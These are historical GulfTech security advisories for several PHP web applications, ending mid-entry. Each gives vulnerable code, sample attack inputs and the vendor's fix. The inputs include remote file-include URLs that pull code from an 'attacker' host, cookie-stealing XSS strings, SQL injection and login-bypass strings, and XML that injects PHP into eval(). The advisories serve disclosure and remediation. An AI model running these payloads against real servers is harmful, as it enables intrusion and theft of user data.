Started by a webhost looking for more out of a simple managment script, Brandee Diggs (Owner of Spinn A Web Cafe, Founder of Benchmark Designs) setout to build an internal management system that could handle the day to day operations of a normal hosting company. The key was to remove the need to constantly watch your orders and manage the installs. Alas, WHM AutoPilot was born. [ as quoted from their official website ]
Cross Site Scripting:
There are a significant number of cross site scripting issues in WHM AutoPilot. Most of these are caused by calling scripts directly and specifying certain variable values yourself. Below are a few examples, though there are many more XSS holes than just the examples I am showing below.
http://path/inc/header.php?site_title=%3C/title%3E%3Ciframe%3E
http://path/admin/themes/blue/header.php?http_images='%3E%3Ciframe%3E
I believe that every file in the /themes/blue/ directory can be manipulated in this way, and of course this can be used to steal a users credentials or render hostile code.
File Include Vulnerability:
WHM AutoPilot is susceptible to several potentially very dangerous file include vulns. Below are several examples of how files can be included and possibly executed remotely.
http://path/inc/header.php/step_one.php?server_inc=http://attacker/step_one_tables.php
http://path/inc/step_one_tables.php?server_inc=http://attacker/js_functions.php
http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php
This can be used to include php scripts and possibly take control of the webserver and more. A user does not have to be logged in to exploit this vulnerability either so that just makes it even more dangerous. Now for something weird: See the first example I gave above? Notice the "header.php/step_one.php"? Well, that was done to get around a piece of code that looked something like this. I am not going to include the actual code since this is proprietary software, but this should definitely give you the idea of what happened.
if (ereg("test.php", $PHP_SELF)==true)
{
include $server_inc."/step_one_tables.php";
}
This works because $PHP_SELF will return the value of "header.php/step_ one.php" expectedly. The below excerpt was taken from the php manual.
"PHP_SELF
The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar would be /test.php/foo.bar. The __FILE__ constant contains the full path and filename of the current (i.e. included) file."
I see a lot of developers use this variable without giving much though to how it can be taken advantage of. I have even found it can cause be used to conduct cross site scripting attacks when the phpinfo() function is called.
Information Disclosure:
By default WHM AutoPilot is shipped with a phpinfo() script that is accessible to anyone. As far as I know WHM AutoPilot needs register globals to work, but if you want to check php settings anyway the file can be found in the root directory as "phpinfo.php"
Solution:
I have contacted the developers, and a new version of WHM Autopilot is available.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,36 @@
PHP-Calendar Arbitrary File Inclusion
Vendor: Sean Proctor
Product: PHP-Calendar
Version: <= 0.10.1
Website: http://php-calendar.sourceforge.net/
BID: 12127
CVE: CVE-2004-1423
OSVDB: 12700 12701
SECUNIA: 22516
PACKETSTORM: 35563
Description:
I was searching for a decent calendar which my group at school could use to keep track of events, etc. We were previously using localendar, which I didn't like and it had some problems. I found CST-Calendar which did most of what I wanted, but was rather ugly and missed some features others in the group wanted. So, I gradually re-wrote CST-Calendar since that project seems to have stopped work entirely. [ As quoted from their website ]
File Include Vulnerability:
There is a very dangerous file include vulnerability in php-calendar, and making the issue even more dangerous is that I found out about php-calendar from an individual who said that php-calendar is a great open source calendar to use in php projects, and is fairly popular amongst open source php developers. This may be true, but the vulnerabilities need to be fixed if the same conditions apply as found in the original code. Below are example attack url's
http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/html.php http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.php
If php globals are set to on then it is highly probable that an attacker will be able to include arbitrary php files and thus execute system commands with the rights of the web server. This can be very dangerous in some situations.
Solution:
php-calendar has a defined constant to help prevent against stuff like this. It can be seen in other php-calendar files such as db.php
if ( !defined('IN_PHPC') ) {
die("Hacking attempt");
}
Adding the following to the top of the affected pages should suffice in preventing the kinds of attacks previously mentioned in this advisory.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,49 @@
PhotoPost Classifieds Multiple Vulnerabilities
Vendor: All Enthusiast, Inc.
Product: PhotoPost Classifieds
Version: <= 2.01
Website: http://www.photopost.com/class/
BID: 12156
OSVDB: 12728 12729 12730 12731 12732 12733 12734 12735 12736 12737
SECUNIA: 13699
Description:
Add a full-featured user-to-user classified ads system to your website to connect buyers with sellers. No matter what your users interestes may be, they likely want to buy and sell items related to your site's topic, and PhotoPost Classifieds makes it easy. PhotoPost Classifieds is designed to integrate seamlessly into your current site design, and can even use your existing forum user database (if you have one) for one central login. Where you see [INT] in this advisory, it represents an integer such as a valid category. [XSS] and [SQL] represent where an attacker could insert code to conduct a cross site scripting attack, or inject data to influence SQL queries.
Cross Site Scripting:
PhotoPost Classifieds is prone to cross site scripting in several different scripts throughout the application. Below are examples:
http://path/showcat.php?si=[XSS]
http://path/reportproduct.php?report=[XSS]
http://path/contact.php?contact=[INT]&productid=[INT][XSS]
This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info.
SQL Injection Vulnerability:
There are a substantial number of SQL Injection vulnerabilities in this application. Some are easy to exploit, others are not so easy.
http://path/showproduct.php?product=[INT][SQL]
http://path/contact.php?contact=[INT]&productid=[INT][SQL]
http://path/addfav.php?product=[INT][SQL]&do=add
http://path/showproduct.php?product=[INT]&sort=[INT][SQL]&cat=[INT]
http://path/showcat.php?cat=[INT][SQL]
http://path/index.php?cat=[INT][SQL]
http://path/comments.php?product=[INT]&cedit=[INT][SQL]
These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful.
Arbitrary File Upload:
This issue can be very dangerous as it allows a user to upload php scripts and other files. Once uploaded these files can be executed with the permission of the webserver. The uploaded file can be found by following the image link in the classified ad that was posted. Exploiting this vulnerability can be accomplished by naming a file with multiple file extensions and then uploading it when placing an ad (for example: test.jpg.php.jpg.php). It should be noted that the uploads are properly filtered (or seem to be) when editing an ad, just not when creating a new classified ad.
Solution:
PhotoPost Classifieds 2.02 has been released to resolve these issues. All users should upgrade their PhotoPost Classifieds immediately.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,47 @@
ReviewPost Multiple Vulnerabilities
Vendor: All Enthusiast, Inc.
Product: ReviewPost
Version: <= 2.84
Website: http://www.reviewpost.com/
BID: 12159
CVE: CVE-2005-0270 CVE-2005-0271 CVE-2005-0272
OSVDB: 12703 12704 12705 12706 12707 12708
SECUNIA: 13697
PACKETSTORM: 35594
Description:
Your community of users represents a wealth of knowledge. Now your users can help build and maintain your site by writing reviews of any product imaginable. With ReviewPost, you will quickly amass a valuable collection of user opinions about products that relate to your site. ReviewPost can even use your existing forum login system (if you have one) to keep your users from having to register twice, and makes an excellent companion to ReviewPost. Where you see [INT] in this advisory, it represents an integer such as a valid category. [XSS] and [SQL] represent where an attacker could insert code to conduct a cross site scripting attack, or inject data to influence SQL queries.
Cross Site Scripting:
ReviewPost is prone to cross site scripting in several different scripts throughout the application.
http://path/showcat.php?si=[XSS]
http://path/showproduct.php?product=[INT]&sort=[INT]&cat=[INT][XSS]
http://path/showproduct.php?product=[INT]&sort=[INT]&cat=[INT]&page=[INT][XSS]
http://path/reportproduct.php?report=[INT][XSS]
This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info.
SQL Injection Vulnerability:
There are a couple of SQL Injection vulnerabilities in ReviewPost. Some are easy to exploit, others are not so easy. Examples are below:
http://path/showcat.php?cat=[INT][SQL]
http://path/addfav.php?product=[INT][SQL]&do=add
These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful.
Arbitrary File Upload:
This issue can be very dangerous as it allows a user to upload php scripts and other files. Once uploaded these files can be executed with the permission of the webserver. The uploaded file can be found by following the image link in the Review that was posted. Exploiting this vulnerability can be accomplished by naming a file with multiple file extensions and then uploading it when posting a review (for example: test.jpg.php.jpg.php). It should be noted that the uploads are properly filtered (or seem to be) when editing a review, just not when creating a new Review.
Solution:
ReviewPost 2.84 has been released to address these issues. Users should upgrade their installation as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,43 @@
PhotoPost Multiple Vulnerabilities
Vendor: All Enthusiast, Inc.
Product: PhotoPost
Version: <= 4.85
Website: http://www.photopost.com/
BID: 12157
CVE: CVE-2005-0273 CVE-2005-0274
OSVDB: 12741 12741
SECUNIA: 13680
PACKETSTORM: 35595
Description:
PhotoPost was designed to help you give your users exactly what they want. Your users will be thrilled to finally be able to upload and display their photos for your entire community to view and discuss, all with no more effort than it takes to post a text message to a forum. If you already have a forum (vBulletin, UBB Threads, phpBB, DCForum, or InvisionBoard), you'll appreciate that PhotoPost was designed to seamlessly integrate into your site without the need for your users to register twice and maintain two logins. PhotoPost Pro is vulnerable to some serious SQL Injection issues as well as cross site scripting. An update is available and all users should upgrade now.
Cross Site Scripting:
PhotoPost is prone to cross site scripting in several different scripts throughout the application. Below are examples:
http://path/showgallery.php?cat=[INT]&page=[XSS]
http://path/showgallery.php?si=[XSS]
http://path/showgallery.php?cat=[INT][XSS]
http://path/showgallery.php?ppuser=[INT]&cat=[INT][XSS]
This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info.
SQL Injection Vulnerability:
There are several SQL Injection vulnerabilities in this application. Some are easy to exploit, others are not so easy.
http://path/showgallery.php?cat=[INT][SQL]
http://path/showgallery.php?ppuser=[INT][SQL]&cat=[INT]
These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful.
Solution:
PhotoPost 4.86 has been released to address these issues. Users should upgrade their installation as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,58 @@
AZBB Multiple Vulnerabilities
Vendor: AZBB
Product: AZBB
Version: <= 1.0.07d
Website: http://azbb.cyaccess.com/
BID: 13272 13278
CVE: CVE-2005-1200 CVE-2005-1201
OSVDB: 15700 15701 15702 15703
SECUNIA: 15013
PACKETSTORM: 37792
Description:
azbb is a forum that was written with a primary focus on security. azbb does not require a database such as MySQL, PostGres or MSSQL and can even be used as a blog, or portal of sorts. Unfortunately there are a number of security issues in AZBB versions prior to 1.0.08, but none of these issues are considered "high risk". However, the developer has addressed these issues and all users should upgrade to the current 1.0.08 version. These vulnerabilities include file enumeration, arbitrary file deletion, and file inclusion issues.
Arbitrary File Deletion:
There is an issue in AZBB that could allow for an attacker logged in as an admin, or a malicious admin to delete arbitrary files outside the scope of the application. The vulnerable code is in admin_avatar.php and admin_attachment.php Lets have a look at the code in admin_avatar.php
## trim all and delete
foreach ($_POST['avat_select'] as $ent)
{
if (file_exists($dir_avatar.'/'.$ent))
{ unlink($dir_avatar.'/'.$ent); }
}
As we can see there are no checks made for traversal sequences, and a user with admin privileges could easily delete arbitrary files on the server. The vulnerability in admin_attachment.php is nearly identical.
File Include Vulnerability:
There is a file inclusion vulnerability in AZBB 1.0.07a - 1.0.07c that is the result of missing code that is present in all of the other AZBB versions. This file inclusion issue poses a different risk level depending on your server configuration. Lets have a look at the code in question. @ /azbb_center/source/main_index.php
########## Get the Abstraction Layer
$inc = $dir_src.'/'.$abs_layer.'_db_ops.php';
file_exists($inc) ? include($inc) : exit('Unable to open '.$inc);
Since the "AZBB KEY CHECK" that exists in other pages is missing from this page we can influence both the $dir_src and $abs_layer variables if register globals is on. However, what we can do with this greatly depends on the server configuration, and this is a result of the file_exists() function being used. You can read more about this in the official php manual located here http://us2.php.net/file_exists
Arbitrary File Enumeration:
There is an issue in AZBB that can be exploited by both users and guests alike to tell whether or not files on the target server exists. This is due to a file check coming before the input is cleaned in attachment.php
elseif (!file_exists($dir_att.'/'.$_POST['attachment'])) {$error = $txt_err[13];}
This issue can not be used to download arbitrary files, because the input is cleaned before the file is included, but we can enumerate files. To check if a file exists on the target web server all an attacker has to do is modify the "attachment" parameter to include traversal sequences. If the file exists we will be prompted with a download, and if it doesn't exists we will see an error message.
Solution:
The developer of AZBB was very quick to respond and has addressed these issues. A complete change log can be seen by following the url posted below. Also, you will find the link to the updated AZBB 1.0.08 downloads below
http://azbb.cyaccess.com/azbb.php?1091778548
http://azbb.cyaccess.com/azbb.php?1091872271
All users are advised to upgrade their azbb installations as soon as possible. A special thanks to AZ for remedying these issues so quickly. If everyone responded in this timely of a manner it would make what we do a lot easier :)
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,91 @@
IP.Board Multiple Vulnerabilities
Vendor: Invision Power Services
Product: IP.Board
Version: <= 2.0.3
Website: http://www.invisionboard.com/
BID: 13529 13534
CVE: CVE-2005-1597 CVE-2005-1598
OSVDB: 16297 16298
SECUNIA: 15265
PACKETSTORM: 39098
Description:
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind. It is used by a great many people all over the world. All versions of Invision Power Board are vulnerable to a serious SQL Injection vulnerability. An attacker does not have to be logged in, or even have access or permission to view the forums in order to exploit this vulnerability. Users should upgrade immediately.
Cross Site Scripting:
It is possible for an attacker to conduct Cross Site Scripting attacks in all versions of invision power board prior to the recently released 2.0.4. This vulnerability exists due to data submitted to the "highlite" parameter not being sanatized properly when displaying search results. The same issue also exists in "sources/topics.php". The only condition is that the data sent to the "highlite" parameter must be double hex encoded data in order to bypass the global sanatation methods.
SQL Injection:
I have discovered a serious SQL Injection issue in Invision Power Board that affects most all versions of Invision Power Board regardless of most server configurations. Also, because of the fact that UNION functionality is not needed an attacker need not worry if the victim is running an up to date version of MySQL. The vulnerability lies in the way that Invision Board handles certain types of "login methods". Let us have a look at the source of 'sources/login.php'
if ( ! $ibforums->member['id'] )
{
$mid = intval($std->my_getcookie('member_id'));
$pid = $std->my_getcookie('pass_hash');
If ($mid and $pid)
{
$DB->query("SELECT * FROM ibf_members WHERE id=$mid AND password='$pid'");
if ( $member = $DB->fetch_row() )
{
$ibforums->member = $member;
$ibforums->session_id = "";
$std->my_setcookie('session_id','0', -1 );
}
}
}
This particular portion of code is from the IPB 1.* series, but the vulnerability seems to exists on all versions of IPB (both the 1.* and 2.* series). Anyway, as we can see from the above code the variable $mid is properly forced into an integer datatype and as a result is safe to pass to the query, but what about $pid? In the above code we see that the value of $pid is returned from the my_getcookie() function within the FUNC class. Well, let us have a look at this function to see if $pid is sanatized within the function itself.
function my_getcookie($name)
{
global $ibforums;
if (isset($_COOKIE[$ibforums->vars['cookie_id'].$name]))
{
return urldecode($_COOKIE[$ibforums->vars['cookie_id'].$name]);
}
else
{
return FALSE;
}
}
In the above code we can see that not only is the data unsanatized, but the way the urldecode() function is used also lets an attacker bypass magic_quotes_gpc. Now, back to the auto_login() function where we want to concentrate on this bit of code.
$DB->query("SELECT * FROM ibf_members WHERE id=$mid AND password='$pid'");
if ( $member = $DB->fetch_row() )
{
$ibforums->member = $member;
$ibforums->session_id = "";
$std->my_setcookie('session_id','0', -1 );
}
This would be a very easy issue to exploit if visible data was returned to the browser, but all we will be able to see is a line in the response header that looks something like this.
Set-Cookie: session_id=0; path=/; domain=example.com
If we see this then we know the query returned true and produced some results. This is not that easy of an issue to exploit, but there are a number of ways to successfully take advantage of this issue. For one an attacker can select member data into an outfile and use thier browser to retrieve that data, or use the MySQL "mid" function to enumerate each character of the hash one by one until the entire hash is discovered! In future versions of MySQL issues like this will be a lot easier to exploit as we will then be able to "SELECT * FROM `blah` INTO TABLE `foobar`" much like Oracle database for example. With functionality like that an attacker can then do things like dump user data into a message to himself. There is working exploit code for this issue available, but we will not be releasing it publicly. Users should upgrade as soon as possible, as this is a fairly dangerous vulnerability.
Solution:
Matthew Mecham addressed these issues in a VERY timely and professional manner and fixes have been available for some time now.
http://forums.invisionpower.com/index.php?showtopic=168016
All users should upgrade thier Invision Power Board installations as soon as possible, as these vulnerabilities make it fairly easy to grab sensitive user data including password hashes from the database.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,68 @@
Burning Board SQL Injection
Vendor: Woltlab GmbH
Product: Burning Board
Version: <= 2.3.1
Website: http://www.woltlab.de/
BID: 13643
CVE: CVE-2005-1642
OSVDB: 16575
SECUNIA: 15395
PACKETSTORM: 39262
Description:
Burning Board is a popular, multi purpose forum / community software offered by WoltLab GmbH. There is an SQL Injection vulnerability in Burning Board 2.* and earlier that allows for an attacker to influence SQL Queries and possibly query arbitrary data from the database, such as admin password hashes. The developers are said to have made a patch available as of late last week, and all users should upgrade their Burning Board installations as soon as possible.
SQL Injection Vulnerability:
Burning Board is prone to SQL Injection attacks that may allow for an attacker to query arbitrary database information, including admin password hashes. The vulnerability lies in the verify_email() function
function verify_email($email) {
global $db, $n, $multipleemailuse, $ban_email;
$email=strtolower($email);
if(!preg_match("/^([_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*
(\.[a-zA-Z]{2,}))/si",$email)) return false;
$ban_email=explode("\n",preg_replace("/\s*\n\s*/","\n",strtolower(trim($ban_email))));
for($i = 0; $i < count($ban_email); $i++) {
$ban_email[$i]=trim($ban_email[$i]);
if(!$ban_email[$i]) continue;
if(strstr($ban_email[$i], "*")) {
$ban_email[$i] = str_replace("*",".*",$ban_email[$i]);
if(preg_match("/$ban_email[$i]/i",$email)) return false;
}
elseif($email==$ban_email[$i]) return false;
}
if($multipleemailuse==1) return true;
else {
$result = $db->query_first("SELECT COUNT(*) FROM bb".$n."_users WHERE email = '".$email."'");
if($result[0]!=0) return false;
else return true;
}
}
As we can see from the code above, $email is never really sanitized. Sure, it has to match the regular expression above, but we can always do something like pass it an email address like this
sre464hfrgt6@4g546ufgfrh5.org' OR (userid=1 AND MID(password,1,1)='a')/*
Which would return an error message about the email already being in use or invalid if the first character of the password hash is 'a'. In order to keep from registering multiple accounts while trying to exploit this vulnerability an attacker simply would need to specify a username that is already in use. Also, it should be noted that it does not matter that $email is encapsulated in single quotes due to this bit of code in global.php
// remove slashes in get post cookie data...
if (get_magic_quotes_gpc()) {
if(is_array($_REQUEST)) $_REQUEST=stripslashes_array($_REQUEST);
if(is_array($_POST)) $_POST=stripslashes_array($_POST);
if(is_array($_GET)) $_GET=stripslashes_array($_GET);
if(is_array($_COOKIE)) $_COOKIE=stripslashes_array($_COOKIE);
}
This is not a very hard issue to exploit, and a user does not need to be authenticated to exploit it. Also, disabling user registrations is not a safe work around by itself as this issue also exists when a user edit's or update's their profile (in the email field). Exploit code for this issue exists, and has been released to the developers, but we will not be making it available to the public at this time.
Solution:
The developers are said to have made a patch available as of late last week, and all users should upgrade their Burning Board installations as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,88 @@
XOOPS Multiple Vulnerabilities
Vendor: XOOPS
Product: XOOPS
Version: <= 2.0.11
Website: http://www.xoops.org/
BID: 14094 14096
CVE: CVE-2005-2112 CVE-2005-2113
OSVDB: 17633 17634 17635
SECUNIA: 15843
PACKETSTORM: 38372
Description:
XOOPS is a very popular dynamic web content management system written in Object Oriented PHP. One of the features of XOOPS is it's own XMLRPC server that handles incoming XMLRPC requests. This particular feature is vulnerable to a highly critical SQL Injection issue. Additionally there are several cross site scripting issues in XOOPS as well which could allow for theft of user data or client side code execution in the context of the victim's web browser.
Cross Site Scripting:
There are a number of cross site scripting issues in the XOOPS content management software.
http://xoops/modules/newbb/edit.php?forum=1&topic_id=1&viewmode=flat&order=
ASC%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/script%3E&post_id=1
http://xoops/modules/repository/comment_edit.php?com_itemid=1&com_order=0&com
_mode=flat&cid=1&cid=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3C/script%3E&com_id=1
These vulnerabilities can be used to render hostile code in the context of the victims browser, and in turn disclose sensitive information to an attacker.
SQL Injection:
As I mentioned earlier XOOPS comes with it's own XMLRPC server which is enabled by default and is named xmlrpc.php The problem with XMLRPC in xoops is lack of sanitation, but because the data is recieved from the reserved $HTTP_RAW_POST_DATA variable magic_quotes_gpc are never applied! This is a big problem and makes every allowable RPC method in the XOOPS XMLRPC server vulnerable to SQL injection. Why? Well, the main reason is this. This code is from the bloggerapi.php file that handles all incoming blogger XMLRPC requests.
function getUserInfo()
{
if (!$this->_checkUser($this->params[1], $this->params[2])) {
$this->response->add(new XoopsXmlRpcFault(104));
} else {
$struct = new XoopsXmlRpcStruct();
$struct->add('nickname', new XoopsXmlRpcString($this->user->getVar('uname')));
$struct->add('userid', new XoopsXmlRpcString($this->user->getVar('uid')));
$struct->add('url', new XoopsXmlRpcString($this->user->getVar('url')));
$struct->add('email', new XoopsXmlRpcString($this->user->getVar('email')));
$struct->add('lastname', new XoopsXmlRpcString(''));
$struct->add('firstname', new XoopsXmlRpcString($this->user->getVar('name')));
$this->response->add($struct);
}
}
the _checkUser function is really just a wrapper for the XMLRPC server, as the arguments are eventually passed to the XOOPS core function "loginUser()" which is where the real problem happens. Below is a sample xml file that when sent to the server will influence the query.
<?xml version="1.0"?>
<methodCall>
<methodName>blogger.getPost</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
<param>
<value><string>admin')/*</string></value>
</param>
<param>
<value><string>passwordfield</string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>
This example would authenticate you in as admin and then execute the blogger.getPost method call. An attacker could use this vulnerability to easily gain the administrator hash, and much more.
Solution:
A new version of XOOPS has been released, and users should upgrade as soon as possible.
http://www.xoops.org/modules/news/article.php?storyid=2383
Special thanks to Jan Pederson from XOOPS for acting so quickly on this very high risk issue. Very prompt, very professional!
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,67 @@
PEAR XML_RPC Remote Code Execution
Vendor: The PEAR Group
Product: PEAR XML_RPC
Version: <= 1.3.0
Website: http://pear.php.net/package/XML_RPC/
CVE: 17793
PACKETSTORM: 38393
Description:
PEAR XML_RPC is a PHP implementation of the XML-RPC web RPC protocol, and used by many different developers across the world. PEAR XML_RPC was originally developed by Edd Dumbill of Useful Information Company, but has since been expanded by several individuals. Unfortunately PEAR XML_RPC is vulnerable to a remote php code execution vulnerability that may allow for an attacker to compromise a vulnerable server. Version 1.3.1 has been released to address these issues.
Remote Command Execution:
PEAR XML_RPC is vulnerable to a very high risk php code injection vulnerability due to unsanatized data being passed into an eval() call. Let us have a look at the code that allows the vulnerability to present itself.
// decompose incoming XML into request structure
xml_parser_set_option($parser_resource, XML_OPTION_CASE_FOLDING, true);
xml_set_element_handler($parser_resource, 'XML_RPC_se', 'XML_RPC_ee');
xml_set_character_data_handler($parser_resource, 'XML_RPC_cd');
if (!xml_parse($parser_resource, $data, 1)) {
// return XML error as a faultCode
$r = new XML_RPC_Response(0,
$XML_RPC_errxml+xml_get_error_code($parser_resource),
sprintf('XML error: %s at line %d',
xml_error_string(xml_get_error_code($parser_resource)),
xml_get_current_line_number($parser_resource)));
xml_parser_free($parser_resource);
} else {
xml_parser_free($parser_resource);
$m = new XML_RPC_Message($XML_RPC_xh[$parser]['method']);
// now add parameters in
for ($i = 0; $i < sizeof($XML_RPC_xh[$parser]['params']); $i++) {
// print '\n";
$plist .= "$i - " . $XML_RPC_xh[$parser]['params'][$i] . " \n";
eval('$m->addParam(' . $XML_RPC_xh[$parser]['params'][$i] . ');');
}
XML_RPC_Server_debugmsg($plist);
The for() loop that holds the vulnerable eval() call is used to build the request from an incoming POST containing an XML document. There is really no type of checks or sanitation done prior to this point, and the fact that magic_quotes_gpc does not apply makes it that much easier for this issue to be exploited.
<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall>
The above xml file when posted to the vulnerable server will cause the phpinfo() function call to be executed on the vulnerable server.
Solution:
PEAR XML_RPC 1.3.1 has been released to address this issue and can be found at
http://pear.php.net/package/XML_RPC/download/1.3.1
Both users and developers alike are strongly advised to upgrade immediately!
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,72 @@
PHPXMLRPC Remote Code Execution
Vendor: Useful Information Inc.
Product: PHPXMLRPC
Version: <= 1.1
Website: http://phpxmlrpc.sourceforge.net/
BID: 14088
CVE: CVE-2005-1921
OSVDB: 17793
SECUNIA: 15852
PACKETSTORM: 38394
Description:
PHPXMLRPC aka XML-RPC For PHP is a PHP implementation of the XML-RPC web RPC protocol, and was originally developed by Edd Dumbill of Useful Information Company. As of the 1.0 stable release, the project has been opened to wider involvement and moved to SourceForge. PHPXMLRPC is used in a large number of popular web applications such as PostNuke, Drupal, b2evolution, and TikiWiki. Unfortunately PHPXMLRPC is vulnerable to a remote php code execution vulnerability that may be exploited by an attacker to compromise a vulnerable system.
Remote Code Execution:
PHPXMLRPC is vulnerable to a very high risk remote php code execution vulnerability that may allow for an attacker to compromise a vulnerable webserver. The vulnerability is the result of unsanatized data being passed directly into an eval() call in the parseRequest() function of the XMLRPC server.
// decompose incoming XML into request structure
xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, true);
xml_set_element_handler($parser, "xmlrpc_se", "xmlrpc_ee");
xml_set_character_data_handler($parser, "xmlrpc_cd");
xml_set_default_handler($parser, "xmlrpc_dh");
if (!xml_parse($parser, $data, 1)) {
// return XML error as a faultCode
$r=new xmlrpcresp(0,
$xmlrpcerrxml+xml_get_error_code($parser),
sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($parser)),
xml_get_current_line_number($parser)));
xml_parser_free($parser);
} else {
xml_parser_free($parser);
$m=new xmlrpcmsg($_xh[$parser]['method']);
// now add parameters in
$plist="";
for($i=0; $i\n";
$plist.="$i - " . $_xh[$parser]['params'][$i]. " \n";
eval('$m->addParam(' . $_xh[$parser]['params'][$i]. ");");
}
By creating an XML file that uses single quotes to escape into the eval() call an attacker can easily execute php code on the target server. This has a lot to do with the fact that magic_quotes_gpc() does not apply to $HTTP_RAW_POST_DATA so using single quotes is not a problem.
<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall>
The above xml file when posted to the vulnerable server will cause the phpinfo() function call to be executed on the vulnerable server.
Solution:
An updated version of PHPXMLRPC can be downloaded from their official website, and all users are advised to upgrade immediately.
http://sourceforge.net/project/showfiles.php?group_id=34455&package_id=26601
A special thanks to Ed Dumbill, Giunta Gaetano, and all of the other people that helped get this fix out, and all of the people who helped us try and track down developers who were using this third party XMLRPC library.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,53 @@
SquirrelMail Arbitrary Variable Overwrite
Vendor: The SquirrelMail Project Team
Product: SquirrelMail
Version: <= 1.4.5-RC1
Website: http://www.squirrelmail.org/
BID: 14254
CVE: CVE-2005-2095
SECUNIA: 16058
PACKETSTORM: 38709
Description:
SquirrelMail is a standards-based webmail package written in php. It includes built-in pure PHP support for the IMAP and SMTP protocols. Unfortunately there is a fairly serious variable handling issue in one of the core SquirrelMail scripts that can allow an attacker to take control of variables used within the script, and influence functions and actions within the script. An updated version of SquirrelMail can be downloaded from their official website. Users are advised to update their SquirrelMail installations as soon as possible.
Variable Overwriting:
There is a fairly serious variable overwriting vulnerability in one of the core SquirrelMail scripts. The vulnerable script makes use of an extract() call in a careless manner, thus allowing us to overwrite any variables declared before the fault extract call is made. Let's have a look at /src/options_identities.php
/**
* Path for SquirrelMail required files.
* @ignore
*/
define('SM_PATH','../');
/* SquirrelMail required files. */
require_once(SM_PATH . 'include/validate.php');
require_once(SM_PATH . 'functions/global.php');
require_once(SM_PATH . 'functions/display_messages.php');
require_once(SM_PATH . 'functions/html.php');
/* POST data var names are dynamic because
of the possible multiple idents so lets get
them all
*/
if (!empty($_POST)) {
extract($_POST);
}
As we can see from the above block of code, the careless extract() call is made after a majority of the important variables used in the application are loaded, thus making them vulnerable to being easily overwritten. In short, by submitting the variable(s) of the attackers choosing a malicious user could easily influence many important variables, and function calls.
Solution:
Thanks to Jonathan Angliss and the SquirrelMail team for a prompt resolution to this vulnerability. In regards to the updated files
http://www.squirrelmail.org/download.php
The latest version of SquirrelMail 1.4.5 can be downloaded from the link above, and users are advised to upgrade as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,29 @@
XPCOM Race Condition
Vendor: Mozilla
Product: XPCOM
Version:
Website: http://www.mozilla.org/projects/xpcom/
CVE: CVE-2005-2414
OSVDB: 18226
PACKETSTORM: 38837
Description:
xpcom, or cross platform component object model is a framework for writing cross-platform, modular software. The xpcom library is used in many applications including a majority of the popular browsers such as FireFox, NetScape, Mozilla, Galeon, etc. It seems that there is a race condition of sorts in xpcom that makes it possible for an attacker to crash a victims browser by having them view a malformed html document. This issue is not believed to be exploitable by the Mozilla dev team, and will likely be addressed in full at a later date by the development team.
XPCOM Race Condition:
It is possible for an attacker to create a race condition that will cause an access violation and result in a hard crash of the browser. One way to trigger this issue is by taking a decent sized html file and loading a dom call within some nested divs that will cause part of the page currently being rendered to be deleted. If the page has not loaded by the time the dom call is made then we can delete objects that have yet to be referenced, which will result in a crash as soon as the browser tries to reference the deleted object.
http://www.gulftech.org/wrecko.html
The above link is a simple proof of concept I wrote a few months ago to show the developers how the issue could be used to cause a crash of the affected web browser. Due to time constraints I have not got to look into this issue very in depth, but it may be possible to use the race condition described here in combination with other dom calls or javascript to produce different results than those demonstrated in my proof of concept.
Solution:
Mozilla have been aware of this issue for some months, and have fixed the issue on trunk, but not on branch. The reason for this as stated by one of the developers is "fixes for this stuff could easily cause regressions". I did test this issue on the latest copy of the mozilla browser (Deer Park) this morning though, and it seemed to NOT be vulnerable. However, firefox and the like are still affected.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,39 @@
ADOdb Cross Site Scripting
Vendor: John Lim
Product: ADOdb
Version: <= 4.71
Website: http://adodb.sourceforge.net/
BID: 16720
CVE: CVE-2006-0806
OSVDB: 23362 23363 23364
SECUNIA: 18928
PACKETSTORM: 44065
Description:
